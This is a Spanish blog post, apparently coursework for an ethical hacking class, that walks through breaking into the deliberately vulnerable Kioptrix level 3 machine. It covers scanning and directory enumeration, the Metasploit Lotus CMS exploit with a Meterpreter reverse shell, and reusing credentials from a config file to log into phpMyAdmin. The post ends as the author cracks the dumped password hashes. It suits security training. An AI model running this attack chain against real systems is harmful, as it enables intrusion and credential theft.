<div class="separator" style="clear: both; text-align: left;">
Continuamos las entradas del blog aprovechando algunas de mis prácticas que realicé recientemente para una curse de seguridad y hacking ético.</div>
<br />
<a name='more'></a><br /><br />
En este caso concreto se trata de una de las máquina vulnerable Kioptrix, más concretamente al tercer nivel, y antes de nada decir al igual que en las anteriores que no hay un "único camino bueno" y este es solo uno de los muchos que puedes seguir; pero siempre hay mas de un modo de "jugar" con estas máquina y sus vulnerabilidades...<br />
<br />
Manos a la obra!! Una vez descargada la máquina virtual desde su propia web y arrancada la misma nos ponemos al lio!<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Analizamos en primera instancia con <b>nMap </b>los servicios y
versiones que ofrece la máquina, obteniendo como resultado que se trata de OS
Linux<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn1NCBXaLx7nxuYRiB8EJOXHk8_j6NqZOzTkSzEcbkHS3Gtp9pMPYnM7EvZ8tlOdAIZk3XUWyzGgmXENZk7mDJDExzmStFpCPy4ohkpSGzYLq3xkHgz45BioIJ3Rjg7BW-6hirqRxGnJ4/s1600/25-05-2017+11-29-17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="479" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn1NCBXaLx7nxuYRiB8EJOXHk8_j6NqZOzTkSzEcbkHS3Gtp9pMPYnM7EvZ8tlOdAIZk3XUWyzGgmXENZk7mDJDExzmStFpCPy4ohkpSGzYLq3xkHgz45BioIJ3Rjg7BW-6hirqRxGnJ4/s1600/25-05-2017+11-29-17.png" /></a></div>
<div>
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Lanzamos un segundo escaneo más completo con <b>nMap </b>para obtener más
información sobre las versiones de los servicios que están corriendo en la
máquina.<o:p></o:p></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2pqUSzqfCBzh0_56aVzgrSEgZMbFDq5YUH5n06jTai2J90C6NU4PKYjUvpcOkYg1s8mupXJaPxwxB4lW2AjvCjKzMh3nqQcV844wZUPqOlkeygRwNb-FaTRu9wE-T4rjxV8h_q2Hvp1g/s1600/25-05-2017+11-29-40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="192" data-original-width="469" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2pqUSzqfCBzh0_56aVzgrSEgZMbFDq5YUH5n06jTai2J90C6NU4PKYjUvpcOkYg1s8mupXJaPxwxB4lW2AjvCjKzMh3nqQcV844wZUPqOlkeygRwNb-FaTRu9wE-T4rjxV8h_q2Hvp1g/s1600/25-05-2017+11-29-40.png" /></a></div>
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt; line-height: 115%;"><br clear="all" style="mso-special-character: line-break; page-break-before: always;" />
</span>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Observamos que además de tratarse de un Linux Ubuntu basado en
Debian 8 tiene un servidor web Apache corriendo (http en el puerto 80) y decidimos acceder desde el navegador a la dirección IP de la máquina para ver que nos encontramos allí... parece una especie
de blog</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nqF_xBb4_ZWlSWPNjnRvvICxUrna_mzjp5n5fzQATpkwxMlmPOZIgnPBB0aeYlepscC25x5OEhxf8JTobsl6pdTIgmtRG8qYO64JHHG84lniMb6FwajizwF6ebqGBvLJFaXrXtsvmrE/s1600/25-05-2017+11-29-57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="308" data-original-width="456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nqF_xBb4_ZWlSWPNjnRvvICxUrna_mzjp5n5fzQATpkwxMlmPOZIgnPBB0aeYlepscC25x5OEhxf8JTobsl6pdTIgmtRG8qYO64JHHG84lniMb6FwajizwF6ebqGBvLJFaXrXtsvmrE/s1600/25-05-2017+11-29-57.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNdkvZ8xY46_dt1-I90jSc0zOr06j94spjOUn-ImjUbqDFXXwxzaGj05tVo1KPQgoYrEdF3i7POIhnaG1uRwjsqlOtqV8Y-twgzZiEJ1eEDy8MYxLKfiR_js-dQWhHW_WZznpLn-0n2g/s1600/25-05-2017+11-30-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="298" data-original-width="443" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNdkvZ8xY46_dt1-I90jSc0zOr06j94spjOUn-ImjUbqDFXXwxzaGj05tVo1KPQgoYrEdF3i7POIhnaG1uRwjsqlOtqV8Y-twgzZiEJ1eEDy8MYxLKfiR_js-dQWhHW_WZznpLn-0n2g/s1600/25-05-2017+11-30-13.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
En la
tercera y ultima pestaña podremos observar que hay un formulario de login para acceder a
otra parte de la web; nos “quedamos con la copla” por si los posibles SQLi aunque a
priori no parece vulnerable por esa vía.<br />
Nos quedaremos igualmente con la copla del
banner inferior que indica que esta gestionado por Lotus CMS… un gestor de
contenido del que, después de un “googleo”, parece tener bastante
detractores y ser vulnerable en alguna de sus versiones.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd4Upqgzb2idTYm0XRxsA844l8so5NIW-1MTnzTjkFkEAVpn_iNQ92MoYPi34oo8UXDrUBg_jNCj22QPPFpBs8Wt1-6TfXTG7Tg1w-kBprdK6m6u5wPJ52NP3jwAFMVTVKNQwIIf0tRz0/s1600/25-05-2017+11-30-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="237" data-original-width="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd4Upqgzb2idTYm0XRxsA844l8so5NIW-1MTnzTjkFkEAVpn_iNQ92MoYPi34oo8UXDrUBg_jNCj22QPPFpBs8Wt1-6TfXTG7Tg1w-kBprdK6m6u5wPJ52NP3jwAFMVTVKNQwIIf0tRz0/s1600/25-05-2017+11-30-28.png" /></a> </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<div class="MsoNormal">
Utilizo <b>wfuzz </b>para tratar de sacar más directorios
accesibles del servicio web. También utilizo <b>NIKTO </b>para detectar posibles
vulnerabilidades del servicio Apache que está ejecutándose <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsaZmNikHYLYfMf41k-eH0m4DrS1UH23LEiRfrDCr23aIYfpz2wv3bqiuhI8gPaDDfEbGbxymtUFdwjELw5hYgGfw9gkiiUxp0TySYxii0EKalbCH8dQAt5tSUdfDjAsm-nV9rc3cHicM/s1600/25-05-2017+11-30-43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="243" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsaZmNikHYLYfMf41k-eH0m4DrS1UH23LEiRfrDCr23aIYfpz2wv3bqiuhI8gPaDDfEbGbxymtUFdwjELw5hYgGfw9gkiiUxp0TySYxii0EKalbCH8dQAt5tSUdfDjAsm-nV9rc3cHicM/s1600/25-05-2017+11-30-43.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUSC1mUbjge1XUT4r-Csu21vddDT9-GnqUL-7EXv_Xqrbr7qN3WKNWIlKqN83oFAhxTlAL83Gavh9COS7z_Ky1RqIGJaGY2i8cK1caMugoRQmW2jabuM5IbzL810unjnhKHjIugchhi8Q/s1600/25-05-2017+11-31-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="307" data-original-width="489" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUSC1mUbjge1XUT4r-Csu21vddDT9-GnqUL-7EXv_Xqrbr7qN3WKNWIlKqN83oFAhxTlAL83Gavh9COS7z_Ky1RqIGJaGY2i8cK1caMugoRQmW2jabuM5IbzL810unjnhKHjIugchhi8Q/s1600/25-05-2017+11-31-10.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Entre los resultados arrojados tanto por <b>wfuzz </b>como por <b>NIKTO
</b>llama la atención la existencia del directorio PhpMyAdmin, que comúnmente gestiona
las bases de datos de la propia web. Quizás a través de ello podamos conseguir
algunas credenciales…</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCpff1mt3D-ta7Fm4iGAykrkfIF_Sq6Sffx4YcgE8AMY8zGUGN4iJxqLt0pL8Jm0FDuyOc6gYK7dCN_iXKfZhfUctEmR7GLaqDkQUDEgnrP9jWPgXW7wwNs0yiNboVPanLvj0ccanLRVY/s1600/25-05-2017+11-31-23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="95" data-original-width="493" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCpff1mt3D-ta7Fm4iGAykrkfIF_Sq6Sffx4YcgE8AMY8zGUGN4iJxqLt0pL8Jm0FDuyOc6gYK7dCN_iXKfZhfUctEmR7GLaqDkQUDEgnrP9jWPgXW7wwNs0yiNboVPanLvj0ccanLRVY/s1600/25-05-2017+11-31-23.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<o:p> </o:p><span style="text-align: center;"> </span></div>
<div class="MsoNormal" style="text-align: justify;">
Decidimos levantar <b>Metasploit </b>en nuestro <b>KALI </b>y tras algunas búsquedas de PHP, phpmyadmin, etc… se nos ocurre buscar por
Lotus CMS y encontramos un exploit con bastante buen rango llamado <i><b>lcms_php_exec</b></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><br /></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXm5e8MidoLhPWujbA8DddSIhf2Y-lQ2hFi8BdnZWvWR9kLpN5a8uLuNJtRecZJaEtL85iULBxI4pTMYWidUi_-4_Wmb2pjHqrC8qDXKhHBvyKzVGA8ivERgtSGv9JULrH7VZH2KKgQqU/s1600/25-05-2017+11-31-53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="224" data-original-width="482" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXm5e8MidoLhPWujbA8DddSIhf2Y-lQ2hFi8BdnZWvWR9kLpN5a8uLuNJtRecZJaEtL85iULBxI4pTMYWidUi_-4_Wmb2pjHqrC8qDXKhHBvyKzVGA8ivERgtSGv9JULrH7VZH2KKgQqU/s1600/25-05-2017+11-31-53.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<i><br /></i></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Decidimos seleccionarlo y proceder a su configurado para probar
suerte con ello usando el payload <i>php/meterpreter/reverse_tcp</i>
y lanzándolo<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQveYNUtUunFZspr8krgIRqJDhdNvKQGzO_TpL5ZRkH1eZdVrCygZq9KE9WjtSMHWupFgFUEuSs3QDjWeoNhzIoVXtPN-jPa8krkKCvOywJiP1S8k3XXBJf_Tu1O_S2Z-AS9qoTnfdg1M/s1600/25-05-2017+11-32-02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="297" data-original-width="476" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQveYNUtUunFZspr8krgIRqJDhdNvKQGzO_TpL5ZRkH1eZdVrCygZq9KE9WjtSMHWupFgFUEuSs3QDjWeoNhzIoVXtPN-jPa8krkKCvOywJiP1S8k3XXBJf_Tu1O_S2Z-AS9qoTnfdg1M/s1600/25-05-2017+11-32-02.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9dcTCAJ2GFQIxb__E2LhzfrDhv_yAJcQeVPg5p2YjLoVBMORleypC-4j9p1FYcps68Swo4HBNIseUdnphvqYPnNJc4r1q1rDMLYcAwTPTG4DW_IhTDKyV0vDQIhzxQ4job0HIOIPJxGM/s1600/25-05-2017+11-32-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="101" data-original-width="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9dcTCAJ2GFQIxb__E2LhzfrDhv_yAJcQeVPg5p2YjLoVBMORleypC-4j9p1FYcps68Swo4HBNIseUdnphvqYPnNJc4r1q1rDMLYcAwTPTG4DW_IhTDKyV0vDQIhzxQ4job0HIOIPJxGM/s1600/25-05-2017+11-32-13.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b>FUNCIONA!!</b> Conseguimos una maravillosa sesión de meterpreter en la
máquina objetivo!</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjr7CrnkW-v6ilXkVmWkqwiPgcWBpvstppOHz-MYaNzOYppPBKXW8hHzaMhzsiuK8_mmYHHWqOpeS4kdBewdJ0qyu_Fxsoa85PTQSUfdzqonLUFj0sDMabfFoIzWU6AGDbUHLNQEKdnqo/s1600/25-05-2017+11-32-29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="97" data-original-width="483" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjr7CrnkW-v6ilXkVmWkqwiPgcWBpvstppOHz-MYaNzOYppPBKXW8hHzaMhzsiuK8_mmYHHWqOpeS4kdBewdJ0qyu_Fxsoa85PTQSUfdzqonLUFj0sDMabfFoIzWU6AGDbUHLNQEKdnqo/s1600/25-05-2017+11-32-29.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Recolectamos información básica sobre el equipo y la sesión
observando que el usuario con el que hemos obtenido sesión es <i>www-data</i> que
interpretamos es usuario por defecto de Apache, los cuales no suelen tener demasiados permisos ni privilegios.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsZprzTsPs-uKE3l21087vkSU5APuhJ2bTutwJWPE6ZvzvaqSm45tdlEkpfY7bGgYviSrs3ZwxUQyPcRv6z_9r4S70KiKUVcCJxtbDzm9JIC2E6Xkna8FrcwN6CYzWRiX2PiJnq5zWejw/s1600/25-05-2017+11-33-06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="286" data-original-width="473" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsZprzTsPs-uKE3l21087vkSU5APuhJ2bTutwJWPE6ZvzvaqSm45tdlEkpfY7bGgYviSrs3ZwxUQyPcRv6z_9r4S70KiKUVcCJxtbDzm9JIC2E6Xkna8FrcwN6CYzWRiX2PiJnq5zWejw/s1600/25-05-2017+11-33-06.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Nos movemos por los directorios hasta llegar a la raíz de home,
donde encontramos diferentes carpetas (además de la del usuario de nuestra
sesión) <b>homes</b> que entiendo pertenecen a los usuarios “<i>loneferret</i>” y “<i>dreg</i>”.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTG8OWJmVSBPJxgIjI8gTvZ-0HMpk8s8ofFxSsGnVbBLL6hjrmNac-jDb1wjWKREAYES3GnQ48WlshVYZDWrbaV_FmOb0vSWAmYBV1hHKzpPuZaQZoUC8Tg7S9js1ZA0oc9yLDORfIqKA/s1600/25-05-2017+11-33-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="477" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTG8OWJmVSBPJxgIjI8gTvZ-0HMpk8s8ofFxSsGnVbBLL6hjrmNac-jDb1wjWKREAYES3GnQ48WlshVYZDWrbaV_FmOb0vSWAmYBV1hHKzpPuZaQZoUC8Tg7S9js1ZA0oc9yLDORfIqKA/s1600/25-05-2017+11-33-28.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Entramos en la carpeta de ambos usuarios a “cotillear” un poco
pero a simple vista tampoco nos parece ver nada particular allí dentro</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKDkFvA8TW7b2x1kkA0NGsfAE-ntXTbyVdUHeysWqHvj35K-GdiznKH8xRCPx0FPG1SRbSFoX9yoWIWTDeiMv8SREbO-90Rx62JA9bM_QyMxu27hFNlXfGi4nxAoWgbO6mtEcX4iXp6-I/s1600/25-05-2017+11-34-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKDkFvA8TW7b2x1kkA0NGsfAE-ntXTbyVdUHeysWqHvj35K-GdiznKH8xRCPx0FPG1SRbSFoX9yoWIWTDeiMv8SREbO-90Rx62JA9bM_QyMxu27hFNlXfGi4nxAoWgbO6mtEcX4iXp6-I/s1600/25-05-2017+11-34-16.png" /></a></div>
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt; line-height: 115%;"><br clear="all" style="mso-special-character: line-break; page-break-before: always;" />
</span>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
La mayoría de archivos parecen ocultos sin mucho interesante salvo un README
aparentemente corporativo... decidimos continuar cotilleando y metiéndome donde no
nos llaman… y esta vez con un curioso resultado: parece ser un comunicado de una
política de empresa que permite usar el comando “sudo ht” para obtener ciertos
permisos en un software recientemente instalado.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOii1P4VgbyvSAu54bbR745fWZra2sYg96T0mqyDzDNqbqL5J_FyxGs7lEE-851qtS-eU5Hcft6AuZDKOsr2nIEdXMJmx0zf4iEtb59wj0dQU9sgtNBKboQQLbyJgTxs-IIGiQPlCxZnI/s1600/25-05-2017+11-34-29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="137" data-original-width="479" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOii1P4VgbyvSAu54bbR745fWZra2sYg96T0mqyDzDNqbqL5J_FyxGs7lEE-851qtS-eU5Hcft6AuZDKOsr2nIEdXMJmx0zf4iEtb59wj0dQU9sgtNBKboQQLbyJgTxs-IIGiQPlCxZnI/s1600/25-05-2017+11-34-29.png" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<o:p><br /></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Decidimos regresar al directorio de partida, donde parecía
haber “más chicha” respecto al portal web publicado desde la máquina objetivo.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPwn2CxXOUXama1U5tPr7xymP6w5hB-WY-NyoY6j5W6f0AbFFGH6HwnbWiAfCwR3lH4wA3l3OSYK0JYdAs35OraCuRkfId_gp_9jPtKluSfIGueS59GqzhuubbP3ylR_SzZk83ESzDKQ8/s1600/25-05-2017+11-34-41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="484" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPwn2CxXOUXama1U5tPr7xymP6w5hB-WY-NyoY6j5W6f0AbFFGH6HwnbWiAfCwR3lH4wA3l3OSYK0JYdAs35OraCuRkfId_gp_9jPtKluSfIGueS59GqzhuubbP3ylR_SzZk83ESzDKQ8/s1600/25-05-2017+11-34-41.png" /></a></div>
<div>
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Recorremos los diferentes directorios tratando de encontrar
algo que llame la atención, y después de un bueeeeeeen rato recorriendo la
estructura de directorios y archivos, dentro del directorio “gallery” encontramos un archivo php de configuración con información interesante<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitgS7yDCD_GN_DsFdRo_l0V2lbfyPTJszFn1sZ2w6wfJq_OAcEyTBClxedKegRo-YGGQIWtTZIi4x9Tv8bUTswRvXFxPDHHuWb6ypbOxLTgeGuY87tFkTqrrGY00XKO5l-xORuaC9tEsk/s1600/25-05-2017+11-34-58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="195" data-original-width="489" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitgS7yDCD_GN_DsFdRo_l0V2lbfyPTJszFn1sZ2w6wfJq_OAcEyTBClxedKegRo-YGGQIWtTZIi4x9Tv8bUTswRvXFxPDHHuWb6ypbOxLTgeGuY87tFkTqrrGY00XKO5l-xORuaC9tEsk/s1600/25-05-2017+11-34-58.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ7_Sz2ONrdeOfUBBxnHyw8gOYmjCgMtPnZ9boQebClj3mnt5EMLQuHk2Bl_fHLhhdLqZd4rK6ThFXbl_VbibjNVwQfWQkRZwfTwvnmPQHSQ3GXPf0z_j-jWXM9WM9upV1oT6g42PAUBY/s1600/25-05-2017+11-35-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="485" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ7_Sz2ONrdeOfUBBxnHyw8gOYmjCgMtPnZ9boQebClj3mnt5EMLQuHk2Bl_fHLhhdLqZd4rK6ThFXbl_VbibjNVwQfWQkRZwfTwvnmPQHSQ3GXPf0z_j-jWXM9WM9upV1oT6g42PAUBY/s1600/25-05-2017+11-35-13.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Probamos esas credenciales en el formulario que identificamos
en la página web que está publicando el sitio pero no tenemos éxito, por lo que solo nos queda probar en la Administración propia de PHPMyAdmin.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQCRzWsBiGV98-FHam3s_WDl_yOq7SaWGQYm7_YnnfYTh8g3B62iBnASDg44PlXN6l4CfDrP3GCeCSnNXF_pAb4l2bEwVpNl_xFaE9_iDeVAvsMMSbPb1AMnHuRDWmyYtDLk8FiLj32Jw/s1600/25-05-2017+11-35-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="226" data-original-width="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQCRzWsBiGV98-FHam3s_WDl_yOq7SaWGQYm7_YnnfYTh8g3B62iBnASDg44PlXN6l4CfDrP3GCeCSnNXF_pAb4l2bEwVpNl_xFaE9_iDeVAvsMMSbPb1AMnHuRDWmyYtDLk8FiLj32Jw/s1600/25-05-2017+11-35-30.png" /></a></div>
<div>
<br /></div>
<br />
<div class="MsoNormal">
Aquí sí que funciona! Estamos dentro como usuarios root de
la administración php!<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUz9rEDVMQ2PYr1E3NyOVIfcG9RanWLDQtKIo1PAVn5MbE2juTx26LgzZHmAxYIImFDTc_EqGnv_OfdVDmsjR-IPjZV51cvWNlNT-QIPfbeU3lTpLgdOKZbcYM0XP66B5vUZ6liiGFb1g/s1600/25-05-2017+11-35-51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUz9rEDVMQ2PYr1E3NyOVIfcG9RanWLDQtKIo1PAVn5MbE2juTx26LgzZHmAxYIImFDTc_EqGnv_OfdVDmsjR-IPjZV51cvWNlNT-QIPfbeU3lTpLgdOKZbcYM0XP66B5vUZ6liiGFb1g/s1600/25-05-2017+11-35-51.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Logramos localizar los usuarios de la base de datos MySQL
obteniéndolos directamente de su tabla “<i>user</i>”<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqEOkxUu3EkCS0rR0bw3CEreeHitXU5JhYGxqq1z_amTnWkgO1xkjyPHbRMuLPJhyphenhyphenuRMPOEGDtBbGjp7Zqr943eTDgM_hJ6VzjKguOech-gH-RbvqB958LeTY1KHS4XbIW8R0GUZoZU44/s1600/25-05-2017+11-36-04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="246" data-original-width="483" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqEOkxUu3EkCS0rR0bw3CEreeHitXU5JhYGxqq1z_amTnWkgO1xkjyPHbRMuLPJhyphenhyphenuRMPOEGDtBbGjp7Zqr943eTDgM_hJ6VzjKguOech-gH-RbvqB958LeTY1KHS4XbIW8R0GUZoZU44/s1600/25-05-2017+11-36-04.png" /></a></div>
<div>
</div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Igualmente localizo los usuarios de la base de datos
“<i>Gallery</i>”<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4TDeY3XNlPbepjkdlN1uMr409T5bUM2ETS1Xu0umhgU516oTkp0Dcvwhzx5-SIVNA5BDV69Qa3I_VilSNVMC0NhIka72Y-ssiWDgoaakaxtBHGbYOOw3nUCIrceF4DP-MXwO6uUnUJZQ/s1600/25-05-2017+11-36-17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="513" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4TDeY3XNlPbepjkdlN1uMr409T5bUM2ETS1Xu0umhgU516oTkp0Dcvwhzx5-SIVNA5BDV69Qa3I_VilSNVMC0NhIka72Y-ssiWDgoaakaxtBHGbYOOw3nUCIrceF4DP-MXwO6uUnUJZQ/s1600/25-05-2017+11-36-17.png" /></a></div>
<div>
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Y también los de los usuarios del sistema!! Los “compis”
<i>Loneferret </i>y <i>Dreg</i>!!! Inlcuiyendo lo shash de sus passwords!!!</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRdf_03fgdVytuT3_QajV0C4dOtf7cuc3AiWOCDu3dVfh8F_oUXDfFDUS5tA18BKz_fhnwcoiM4lQPRHcU9to1aJw_mbW8rrslBu9sD3oTj7tV529gekVuR7H6D9Jr4aqMwfkMke2JIFY/s1600/25-05-2017+11-36-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="266" data-original-width="499" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRdf_03fgdVytuT3_QajV0C4dOtf7cuc3AiWOCDu3dVfh8F_oUXDfFDUS5tA18BKz_fhnwcoiM4lQPRHcU9to1aJw_mbW8rrslBu9sD3oTj7tV529gekVuR7H6D9Jr4aqMwfkMke2JIFY/s1600/25-05-2017+11-36-28.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Procedo a crackear los hashes de los password por la web
crackstation pues parecen estar cifradas y, efectivamente, las interpreta como
MD5 y me los da en texto plano</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
